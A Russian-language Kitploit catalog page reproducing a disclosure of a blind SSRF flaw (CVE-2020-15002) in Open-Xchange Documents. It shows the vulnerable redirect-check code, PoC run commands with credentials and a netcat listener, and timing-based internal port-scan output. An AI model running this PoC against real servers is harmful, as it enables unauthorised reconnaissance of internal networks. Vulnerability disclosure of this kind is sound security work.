Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
Инструменты/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
РазведкаСканирование портовАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложений
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Репозиторий
35 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Краткое описание

Логика в AddFileAction.getImageDataFromUrl для получения изображений из внешних URL при обработке /appsuite/api/oxodocumentfilter&action=addfile реализована здесь, проверяет перенаправленные URL только после прохождения всех перенаправлений

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Это может быть использовано злоумышленником для выполнения слепых SSRF-атак.

Шаги для воспроизведения

  1. Установите Open-Xchange и Documents в виртуальную машину, следуя руководствам https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 и https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. Внутри ВМ выполните следующую команду, чтобы netcat слушал на 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. На хостовой машине установите golang с https://golang.org/dl/
  4. Скачайте и извлеките файл poc.zip
  5. Откройте терминал / командную строку и перейдите в извлеченную папку poc.zip
  6. Выполните команду
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    где
    • redirectorAddress: IP-адрес и порт, к которому должен привязываться сервер-редиректор. Этот IP-адрес должен быть доступен из ВМ
    • targetPorts: Порт внутри ВМ, на котором слушает netcat
    • serverRoot: Базовый URL сервера Open-Xchange
    • serverUser: Имя пользователя любого пользователя на сервере Open-Xchange
    • serverPass: Пароль пользователя на сервере Open-Xchange

Выполнение вышеуказанной команды покажет следующий вывод в netcat

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Воздействие

Поскольку это слепая SSRF, невозможно прочитать ответ HTTP-запросов. Однако эту уязвимость можно использовать для разведки.

Пример: Сканирование портов по времени отклика

Чтобы выполнить сканирование портов 7070,61616,8004,80,22,25,8080,3125 в локальной сети сервера, выполните следующую команду

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Вывод:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Мы можем использовать lsof для просмотра открытых портов внутри ВМ

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

Вывод:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

Из приведённых выше результатов можно сделать следующие наблюдения:

  • Как видно, для закрытых портов 7070, 8080 и 3125 время отклика низкое (менее ~3 мс)
  • Для открытых портов, в зависимости от типа прослушивающего соединения, время отклика варьируется
    • Для ssh (порт 22) время отклика ~34 мс
    • Для exim (порт 25) время отклика ~2170 мс
    • Для ActiveMQ (порт 61616) время отклика ~3567 мс
    • Для http (порт 80 и 8004) время отклика ~3 мс (этот тип сложно отличить от закрытых портов)

Таким образом, злоумышленник может использовать эту уязвимость для обнаружения большинства открытых портов и использовать время отклика для определения типа соединения (ssh / exim / activemq и т.д.)

Скачать инструмент